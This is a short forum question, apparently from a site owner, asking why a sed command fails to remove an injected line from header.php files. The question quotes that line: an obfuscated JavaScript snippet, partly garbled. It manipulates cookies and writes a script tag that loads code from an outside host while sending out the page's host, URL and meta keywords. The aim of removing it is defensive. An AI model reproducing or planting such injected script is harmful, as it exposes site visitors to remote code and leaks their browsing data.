I want to delete one line in some files.
The specific line:
var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;dhttp://www.gigascanner.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'G91825' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<' + '/script>')));
I try it with sed.
sed -i '/<script>var a='';setTimeout(1);function setCookie(a,b,c)/d' ./header.php
I read this SO question but it doesn't work for me.
I think I do something wrong?
Delete lines in a text file that containing a specific string